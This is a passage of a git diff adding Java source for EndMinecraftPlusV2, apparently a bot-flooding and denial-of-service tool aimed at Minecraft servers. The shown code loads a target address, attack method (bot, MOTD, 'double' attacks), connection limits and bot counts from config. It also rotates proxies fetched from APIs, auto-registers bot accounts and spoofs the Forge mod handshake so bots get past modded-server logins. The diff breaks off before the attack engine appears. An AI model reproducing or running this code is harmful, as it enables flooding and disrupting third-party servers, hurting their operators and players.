+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+
+public class EndMinecraftPlusV2 {
+ public static String ver = "1.0_Dev";
+
+ public static void main(String[] args) {
+ System.out.println("========================-Forked by SerendipityR-========================");
+ System.out.println(" EndMinecraftPlus原作者 - @iuli-moe");
+ System.out.println(" Github发布页: https://github.com/SerendipityR-2022/EndMinecraftPlusV2");
+ System.out.println(" EndMinecraftPlusV2 (Ver: " + ver + ")" + " is loading......");
+ System.out.println("========================================================================");
+ SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - Forked by SerendipityR");
+ LogUtil.emptyLog();
+ prepareConfig();
+ prepareProxy();
+ startAttack();
+ }
+
+ public static void prepareConfig() {
+ LogUtil.doLog(0, "正在载入配置文件...", "CFGUtil");
+ new ConfigUtil().loadConfig();
+ }
+
+ public static void prepareProxy() {
+ if (!ConfigUtil.AttackMethod.equals(3)) {
+ LogUtil.doLog(0, "正在获取代理...", "ProxyUtil");
+ ProxyUtil.getProxies();
+ ProxyUtil.runUpdateProxiesTask(ConfigUtil.ProxyUpdateTime);
+ }
+ }
+
+ public static void startAttack() {
+ LogUtil.doLog(0, "正在载入Minecraft协议库...", "ProtocolLib");
+ ProtocolLibs.loadProtocolLib();
+ AttackManager.doAttack();
+ }
+
+ public static void Exit() {
+ LogUtil.doLog(0, "程序退出...", "INFO");
+ System.exit(0);
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForge.java b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForge.java
new file mode 100644
index 0000000..38de379
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForge.java
@@ -0,0 +1,101 @@
+package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
+
+import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.event.session.*;
+
+import java.lang.reflect.Field;
+import java.util.Map;
+
+public class MCForge {
+ private final MCForgeHandShake handshake;
+
+ public Map modList;
+ public Session session;
+
+ public MCForge(Session session, Map modList) {
+ this.modList = modList;
+ this.session = session;
+ this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this);
+ }
+
+ public void init() {
+ this.session.addListener(new SessionListener() {
+ public void packetReceived(PacketReceivedEvent e) {
+ if (e.getPacket() instanceof ServerPluginMessagePacket) {
+ handle(e.getPacket());
+ } else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) {
+ handshake.handle(e.getPacket());
+ }
+ }
+
+ public void packetSent(PacketSentEvent e) {
+ }
+
+ public void connected(ConnectedEvent e) {
+ modifyHost();
+ }
+
+ public void disconnecting(DisconnectingEvent e) {
+ }
+
+ public void disconnected(DisconnectedEvent e) {
+ }
+ });
+ }
+
+ public void handle(ServerPluginMessagePacket packet) {
+ switch (packet.getChannel()) {
+ case "FML|HS":
+ this.handshake.handle(packet);
+ break;
+ case "REGISTER":
+ case "minecraft:register": // 1.13
+ this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData()));
+ break;
+ case "MC|Brand":
+ case "minecraft:brand": // 1.13
+ this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes()));
+ break;
+ }
+ }
+
+ public void modifyHost() {
+ try {
+ Class> cls = this.session.getClass().getSuperclass();
+
+ Field field = cls.getDeclaredField("host");
+ field.setAccessible(true);
+
+ field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0");
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+ public static boolean isVersion1710() {
+ return (getProtocolVersion() == 5);
+ }
+
+ public static boolean isAfterVersion1_13() {
+ return (getProtocolVersion() >= 393);
+ }
+
+ public static int getProtocolVersion() {
+ try {
+ Class> cls;
+ try {
+ cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants");
+ } catch (ClassNotFoundException e) {
+ cls = Class.forName("org.spacehq.mc.protocol.MinecraftConstants");
+ }
+
+ Field field = cls.getDeclaredField("PROTOCOL_VERSION");
+ return field.getInt(null);
+ } catch (Exception e) {
+ e.printStackTrace();
+ return 0;
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShake.java b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShake.java
new file mode 100644
index 0000000..c14f008
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShake.java
@@ -0,0 +1,14 @@
+package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
+
+import org.spacehq.packetlib.packet.Packet;
+
+public abstract class MCForgeHandShake {
+ protected MCForge forge;
+
+ public MCForgeHandShake(MCForge forge) {
+ this.forge = forge;
+ }
+
+ public abstract void handle(Packet recvPacket);
+ public abstract String getFMLVersion();
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV1.java b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV1.java
new file mode 100644
index 0000000..ba4eaba
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV1.java
@@ -0,0 +1,75 @@
+package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
+
+import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.io.stream.StreamNetOutput;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+public class MCForgeHandShakeV1 extends MCForgeHandShake {
+ public MCForgeHandShakeV1(MCForge forge) {
+ super(forge);
+ }
+
+ public void handle(Packet recvPacket) {
+ ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
+ Session session = forge.session;
+
+ byte[] data = packet.getData();
+ int packetID = data[0];
+
+ switch (packetID) {
+ case 0: // Hello
+ sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 });
+
+ // ModList
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ StreamNetOutput out = new StreamNetOutput(buf);
+ try {
+ out.writeVarInt(2);
+ out.writeByte(forge.modList.size());
+ forge.modList.forEach((k, v) -> {
+ try {
+ out.writeString(k);
+ out.writeString(v);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ });
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ sendPluginMessage(session, packet.getChannel(), buf.toByteArray());
+ break;
+ case 2: // ModList
+ sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA)
+ break;
+ case 3: // RegistryData
+ sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE)
+ break;
+ case -1: // HandshakeAck
+ int ackID = data[1];
+ switch (ackID) {
+ case 2: // WAITING CACK
+ sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE
+ break;
+ case 3: // COMPLETE
+ sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE
+ break;
+ default:
+ }
+ default:
+ }
+ }
+
+ public String getFMLVersion() {
+ return "FML";
+ }
+
+ private void sendPluginMessage(Session session, String channel, byte[] data) {
+ session.send(new ClientPluginMessagePacket(channel, data));
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV2.java
new file mode 100644
index 0000000..0d03aab
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeHandShakeV2.java
@@ -0,0 +1,158 @@
+package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
+
+import org.spacehq.mc.protocol.packet.login.client.LoginPluginResponsePacket;
+import org.spacehq.mc.protocol.packet.login.server.LoginPluginRequestPacket;
+import org.spacehq.packetlib.io.buffer.ByteBufferNetInput;
+import org.spacehq.packetlib.io.stream.StreamNetOutput;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class MCForgeHandShakeV2 extends MCForgeHandShake {
+ private final int Packet_S2CModList = 1;
+ private final int Packet_C2SModListReply = 2;
+ private final int Packet_S2CRegistry = 3;
+ private final int Packet_S2CConfigData = 4;
+ private final int Packet_C2SAcknowledge = 99;
+
+ public MCForgeHandShakeV2(MCForge forge) {
+ super(forge);
+ }
+
+ public void handle(Packet recvPacket) {
+ LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket;
+ if (!packet.getChannel().equals("fml:loginwrapper")) return;
+
+ try {
+ LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData());
+ String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver();
+ ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload()));
+
+ int packetID = in.readByte();
+ switch (packetID) {
+ case Packet_S2CModList: {
+ // recv: S2CModList
+ final List mods = new ArrayList<>();
+ int len = in.readVarInt();
+ for (int x = 0; x < len; x++)
+ mods.add(in.readString());
+
+ final Map channels = new HashMap<>();
+ len = in.readVarInt();
+ for (int x = 0; x < len; x++)
+ channels.put(in.readString(), in.readString());
+
+ final List registries = new ArrayList<>();
+ len = in.readVarInt();
+ for (int x = 0; x < len; x++)
+ registries.add(in.readString());
+ // send: C2SModListReply
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ StreamNetOutput out = new StreamNetOutput(buf);
+
+ out.writeByte(Packet_C2SModListReply);
+
+ out.writeVarInt(mods.size());
+ mods.forEach(m -> {
+ try {
+ out.writeString(m);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ });
+
+ out.writeVarInt(channels.size());
+ channels.forEach((k, v) -> {
+ try {
+ out.writeString(k);
+ out.writeString(v);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ });
+
+ // TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java)
+ out.writeVarInt(0); // empty map
+ /*
+ out.writeVarInt(registries.size());
+ registries.forEach(r -> {
+ try {
+ out.writeString(r);
+ out.writeString("");
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ });
+ */
+
+ reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
+ break;
+ }
+ case Packet_S2CRegistry:
+ case Packet_S2CConfigData: {
+ // recv: S2CRegistry
+ // send: C2SAcknowledge
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ StreamNetOutput out = new StreamNetOutput(buf);
+
+ out.writeByte(Packet_C2SAcknowledge);
+
+ reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
+ break;
+ }// recv: S2CConfigData
+ }
+ } catch (Exception ex) {
+ forge.session.disconnect("Failure to handshake", ex);
+ }
+ }
+
+ public String getFMLVersion() {
+ return "FML2";
+ }
+
+ private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException {
+ forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes()));
+ }
+
+ static class LoginWrapper {
+ private String targetNetworkReceiver;
+ private byte[] payload;
+
+ public LoginWrapper() {}
+ public LoginWrapper(String targetNetworkReceiver, byte[] payload) {
+ this.targetNetworkReceiver = targetNetworkReceiver;
+ this.payload = payload;
+ }
+
+ public LoginWrapper fromBytes(byte[] bytes) throws IOException {
+ ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes));
+ this.targetNetworkReceiver = in.readString();
+ this.payload = in.readBytes(in.readVarInt());
+ return this;
+ }
+
+ public byte[] toBytes() throws IOException {
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ StreamNetOutput pb = new StreamNetOutput(buf);
+ pb.writeString(targetNetworkReceiver);
+ pb.writeVarInt(payload.length);
+ pb.writeBytes(payload);
+
+ return buf.toByteArray();
+ }
+
+ public String getTargetNetworkReceiver() {
+ return this.targetNetworkReceiver;
+ }
+
+ public byte[] getPayload() {
+ return this.payload;
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeInject.java b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeInject.java
new file mode 100644
index 0000000..be09d25
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeInject.java
@@ -0,0 +1,52 @@
+package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+public class MCForgeInject {
+ public static boolean inject() {
+
+ try {
+ if (MCForge.isVersion1710()) {
+ injectPluginMessage();
+ injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read",
+ "{$1.readBytes($1.available());return;}");
+ injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket",
+ "read", "{$1.readBytes($1.available());return;}");
+ injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket",
+ "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}");
+ } else {
+ ClassPool classPool = ClassPool.getDefault();
+ CtClass ctClass = classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues");
+ if (ctClass == null)
+ ctClass = classPool.get("org.spacehq.mc.protocol.data.game.MagicValues");
+ CtMethod method1 = ctClass.getDeclaredMethod("key");
+ method1.addCatch("{return null;}", classPool.get("java.lang.Exception"));
+ CtMethod method2 = ctClass.getDeclaredMethod("value");
+ method2.addCatch("{return null;}", classPool.get("java.lang.Exception"));
+ ctClass.toClass();
+ }
+ return true;
+ } catch (Exception e) {
+ return false;
+ }
+ }
+
+ public static void injectPluginMessage() throws Exception {
+ ClassPool classPool = ClassPool.getDefault();
+ CtClass ctClass = classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket");
+ CtMethod method = ctClass.getDeclaredMethod("read");
+ method.setBody("{this.channel=$1.readString();\n"
+ + "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}");
+ ctClass.toClass();
+ }
+
+ public static void injectTryCatch(String cls, String func, String code) throws Exception {
+ ClassPool classPool = ClassPool.getDefault();
+ CtClass ctClass = classPool.get(cls);
+ CtMethod method = ctClass.getDeclaredMethod(func);
+ method.addCatch(code, classPool.get("java.lang.Exception"));
+ ctClass.toClass();
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD.java b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD.java
new file mode 100644
index 0000000..8793199
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeMOTD.java
@@ -0,0 +1,141 @@
+package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
+
+import com.google.gson.Gson;
+
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.HashMap;
+import java.util.Map;
+
+public class MCForgeMOTD {
+ public Map pingGetModsList(String ip, int port, int version) {
+ Map modList = new HashMap();
+ Socket socket = new Socket();
+ try {
+ socket.connect(new InetSocketAddress(ip, port));
+ if(socket.isConnected()) {
+ DataOutputStream out = new DataOutputStream(socket.getOutputStream());
+
+ ByteArrayOutputStream packet = new ByteArrayOutputStream();
+ DataOutputStream packetOut = new DataOutputStream(packet);
+
+ packetOut.writeByte(0); // handshake packet id
+ writeVarInt(packetOut, version); // version
+ writeVarInt(packetOut, ip.length()); // host length
+ packetOut.writeBytes(ip); // host
+ packetOut.writeShort(port); // port
+ writeVarInt(packetOut, 1); // next to status
+
+ writeVarInt(out, packet.size()); // packet length
+ out.write(packet.toByteArray()); // handshake packet
+
+ out.writeByte(1); // packet length
+ out.writeByte(0); // status packet id
+
+ out.flush();
+
+ DataInputStream in = new DataInputStream(socket.getInputStream());
+ readVarInt(in); // packet length
+ int packetID = readVarInt(in);
+ int dataLength = readVarInt(in);
+
+ if (packetID == 0 && dataLength > 0) { // Response
+ byte[] responseData = new byte[dataLength];
+ in.readFully(responseData);
+ Response response = new Gson().fromJson(new String(responseData), Response.class);
+ if (response.modinfo != null) {
+ for (Response.ModInfo.ModID modid : response.modinfo.modList) {
+ modList.put(modid.modid, modid.version);
+ }
+ }
+ }
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ try {
+ if (socket.isConnected())
+ socket.close();
+ } catch (IOException e1) {}
+ }
+ return modList;
+ }
+
+ /**
+ * @author thinkofdeath
+ * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
+ */
+ public int readVarInt(DataInputStream in) throws IOException {
+ int i = 0;
+ int j = 0;
+ while (true) {
+ int k = in.readByte();
+
+ i |= (k & 0x7F) << j++ * 7;
+
+ if (j > 5)
+ throw new RuntimeException("VarInt too big");
+
+ if ((k & 0x80) != 128)
+ break;
+ }
+
+ return i;
+ }
+
+ /**
+ * @throws IOException
+ * @author thinkofdeath
+ * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
+ */
+ public void writeVarInt(DataOutputStream out, int paramInt) throws IOException {
+ while (true) {
+ if ((paramInt & 0xFFFFFF80) == 0) {
+ out.writeByte(paramInt);
+ return;
+ }
+
+ out.writeByte(paramInt & 0x7F | 0x80);
+ paramInt >>>= 7;
+ }
+ }
+
+ class Response {
+ public Object description;
+ public Players players;
+ public Version version;
+ public ModInfo modinfo;
+
+ class Description {
+ public String text;
+ public String translate;
+
+ public String getDescription() {
+ return text != null ? text : translate;
+ }
+ }
+
+ class Players {
+ public int max;
+ public int online;
+ }
+
+ class Version {
+ public String name;
+ public int protocol;
+ }
+
+ class ModInfo {
+ public String type;
+ public ModID[] modList;
+
+ class ModID {
+ public String modid;
+ public String version;
+ }
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeUtils.java b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeUtils.java
new file mode 100644
index 0000000..2621a30
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/MCForgeUtils.java
@@ -0,0 +1,25 @@
+package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
+
+import org.spacehq.packetlib.io.NetInput;
+
+import java.io.IOException;
+
+public class MCForgeUtils {
+ public static int readVarShort(NetInput in) throws IOException {
+ int low = in.readUnsignedShort();
+ int high = 0;
+ if ((low & 0x8000) != 0) {
+ low = low & 0x7FFF;
+ high = in.readUnsignedByte();
+ }
+ return ((high & 0xFF) << 15) | low;
+ }
+
+ public static UnknownPacket createUnknownPacket() {
+ try {
+ return UnknownPacket.class.newInstance();
+ } catch (Exception e) {
+ return null;
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/UnknownPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/UnknownPacket.java
new file mode 100644
index 0000000..c1a29ea
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/ForgeProtocol/UnknownPacket.java
@@ -0,0 +1,22 @@
+package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
+
+import org.spacehq.packetlib.io.NetInput;
+import org.spacehq.packetlib.io.NetOutput;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.io.IOException;
+
+public class UnknownPacket implements Packet {
+ public boolean isPriority() {
+ return false;
+ }
+
+ public void read(NetInput in) throws IOException {
+ in.readBytes(in.available());
+ }
+
+ public void write(NetOutput out) throws IOException {
+
+ }
+
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java
new file mode 100644
index 0000000..c5a8e6d
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java
@@ -0,0 +1,159 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import cc.summermc.bukkitYaml.file.YamlConfiguration;
+import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
+
+import javax.naming.directory.Attribute;
+import javax.naming.directory.InitialDirContext;
+import java.io.File;
+import java.util.Hashtable;
+import java.util.List;
+import java.util.Scanner;
+
+public class ConfigUtil {
+ public static File configFile;
+ public static YamlConfiguration config;
+ public static String AttackAddress;
+ public static Integer AttackPort;
+ public static Integer AttackMethod;
+ public static Integer AttackTime;
+ public static Long ConnectDelay;
+ public static Integer MaxConnections;
+ public static Boolean TabAttack;
+ public static Boolean AntiAttackMode;
+ public static String DoubleExploitPlayer;
+ public static String BotName;
+ public static Integer BotCount;
+ public static Boolean RegisterAndLogin;
+ public static List RegisterCommands;
+ public static Integer RejoinCount;
+ public static List RejoinDetect;
+ public static List ClickVerifiesDetect;
+ public static List CustomChat;
+ public static Integer ChatDelay;
+ public static Integer ProxyGetType;
+ public static Integer ProxyUpdateTime;
+ public static File ProxyFile;
+ public static List ProxyAPIs;
+
+ public void loadConfig() {
+ try {
+ configFile = new File("config.yml");
+
+ if (!configFile.exists()) {
+ LogUtil.doLog(1, "载入配置文件失败! 文件不存在。", null);
+ EndMinecraftPlusV2.Exit();
+ }
+
+ config = YamlConfiguration.loadConfiguration(configFile);
+
+ AttackAddress = config.getString("AttackSettings.Address");
+ AttackPort = config.getInt("AttackSettings.Port");
+ AttackMethod = config.getInt("AttackSettings.Method");
+ AttackTime = config.getInt("AttackSettings.Time");
+ ConnectDelay = config.getLong("AttackSettings.ConnectDelay");
+ MaxConnections = config.getInt("AttackSettings.MaxConnections");
+ TabAttack = config.getBoolean("AttackSettings.TabAttack");
+ AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");
+ DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer");
+ BotName = config.getString("BotSettings.BotName");
+ BotCount = config.getInt("BotSettings.BotCount");
+ RegisterAndLogin = config.getBoolean("BotSettings.Register&Login");
+ RegisterCommands = config.getStringList("BotSettings.RegisterCommands");
+ RejoinCount = config.getInt("BotSettings.RejoinCount");
+ RejoinDetect = config.getStringList("BotSettings.RejoinDetect");
+ ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
+ CustomChat = config.getStringList("BotSettings.CustomChat");
+ ChatDelay = config.getInt("BotSettings.ChatDelay");
+ ProxyGetType = config.getInt("Proxy.GetType");
+ ProxyUpdateTime = config.getInt("Proxy.UpdateTime");
+ ProxyFile = new File(config.getString("Proxy.File"));
+ ProxyAPIs = config.getStringList("Proxy.APIs");
+
+ checkSRV();
+
+ LogUtil.doLog(0, "==============================================================", "CFGUtil");
+ LogUtil.doLog(0, "服务器地址: " + AttackAddress, "CFGUtil");
+ LogUtil.doLog(0, "服务器端口: " + AttackPort, "CFGUtil");
+ LogUtil.doLog(0, "攻击方式: " + getAttackMethod(AttackMethod), "CFGUtil");
+ LogUtil.doLog(0, "攻击时间: " + AttackTime + "秒", "CFGUtil");
+ LogUtil.doLog(0, "连接间隔: " + timeToSeconds(ConnectDelay) + "秒", "CFGUtil");
+ LogUtil.doLog(0, "最大连接数: " + MaxConnections + "个", "CFGUtil");
+ LogUtil.doLog(0, "同时进行Tab攻击: " + booleanToStr(TabAttack), "CFGUtil");
+ LogUtil.doLog(0, "AntiAttack模式: " + booleanToStr(AntiAttackMode), "CFGUtil");
+ LogUtil.doLog(0, "代理类型: " + getProxyFrom(ProxyGetType), "CFGUtil");
+ LogUtil.doLog(0, "代理API: " + ProxyAPIs.size() + "个", "CFGUtil");
+ LogUtil.doLog(0, "代理更新间隔: " + ProxyUpdateTime + "秒", "CFGUtil");
+ LogUtil.doLog(0, "==============================================================", "CFGUtil");
+ LogUtil.emptyLog();
+ } catch (Exception e) {
+ LogUtil.emptyLog();
+ LogUtil.doLog(1, "载入配置文件失败! 详细信息: " + e, null);
+ EndMinecraftPlusV2.Exit();
+ }
+ }
+
+ public static String getAttackMethod(int type) {
+ switch (type) {
+ case 1:
+ return "BotAttack";
+ case 2:
+ return "MotdAttack";
+ case 3:
+ return "MotdAttackP";
+ case 4:
+ return "DoubleAttack";
+ default:
+ return "Error";
+ }
+ }
+
+ public static String getProxyFrom(int type) {
+ switch (type) {
+ case 1:
+ return "API";
+ case 2:
+ return "File";
+ case 3:
+ return "API + File";
+ default:
+ return "Error";
+ }
+ }
+
+ public static String booleanToStr(boolean type) {
+ return type ? "开启" : "关闭";
+ }
+
+ public static Double timeToSeconds(long time) {
+ return (double) time / 1000;
+ }
+
+ public static void checkSRV() {
+ Hashtable hashtable = new Hashtable<>();
+ hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
+ hashtable.put("java.naming.provider.url", "dns:");
+
+ try {
+ Attribute attribute = (new InitialDirContext(hashtable))
+ .getAttributes("_Minecraft._tcp." + AttackAddress,
+ new String[]{"SRV"})
+ .get("srv");
+ if (attribute != null) {
+ String[] re = attribute.get().toString().split(" ", 4);
+ LogUtil.doLog(0, "=============================================================", "CheckSRV");
+ LogUtil.doLog(0,"域名: " + AttackAddress, "CheckSRV");
+ LogUtil.doLog(0,"源地址: " + re[3], "CheckSRV");
+ LogUtil.doLog(0,"源端口: " + re[2], "CheckSRV");
+ LogUtil.doLog(-1,"检测到服务器存在SRV记录,是否替换地址为SRV解析记录?[y/n]: ", "CheckSRV");
+ Scanner scanner = new Scanner(System.in);
+ String cmd = scanner.nextLine();
+
+ if (cmd.equals("y")) {
+ AttackAddress = re[3];
+ AttackPort = Integer.parseInt(re[2]);
+ }
+ }
+ } catch (Exception ignored) {}
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java
new file mode 100644
index 0000000..421ba0f
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java
@@ -0,0 +1,42 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import cc.summermc.bukkitYaml.file.YamlConfiguration;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+
+public class DataUtil {
+ public static List botRegPasswords = new ArrayList<>();
+ public static HashMap botRegPasswordsMap = new HashMap<>();
+ public static File dataFile = new File("data.yml");
+
+ public static void loadData() {
+ YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
+ botRegPasswords = data.getStringList("Data");
+
+ for (String PwdData:botRegPasswords) {
+ String[] aPwdData = PwdData.split("@");
+ botRegPasswordsMap.put(aPwdData[0], aPwdData[1]);
+ }
+ }
+
+ public static void updateData(String name, String pwd) {
+ YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
+ List datas = data.getStringList("Data");
+
+ String aPwdData = name + "@" + pwd;
+ datas.add(aPwdData);
+ data.set("Data", datas);
+ botRegPasswords.add(aPwdData);
+ botRegPasswordsMap.put(name, pwd);
+
+ try {
+ data.save(dataFile);
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java
new file mode 100644
index 0000000..52aae31
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java
@@ -0,0 +1,38 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.net.URLConnection;
+
+public class HTTPUtil {
+ public static String sendGet(String url) {
+ StringBuilder result = new StringBuilder();
+ BufferedReader in = null;
+ try {
+ URL realUrl = new URL(url);
+ URLConnection connection = realUrl.openConnection();
+ connection.setRequestProperty("accept", "*/*");
+ connection.setRequestProperty("connection", "Keep-Alive");
+ connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
+ connection.connect();
+
+ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+ String line;
+ while ((line = in.readLine()) != null) {
+ result.append(line);
+ }
+ } catch (Exception e) {
+ LogUtil.doLog(1, "HTTP请求出错! 详细信息: " + e.getMessage(), null);
+ } finally {
+ try {
+ if (in != null) {
+ in.close();
+ }
+ } catch (Exception e) {
+ LogUtil.doLog(1, "IO异常! 详细信息: " + e.getMessage(), null);
+ }
+ }
+ return result.toString();
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java
new file mode 100644
index 0000000..fc11c2c
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java
@@ -0,0 +1,34 @@
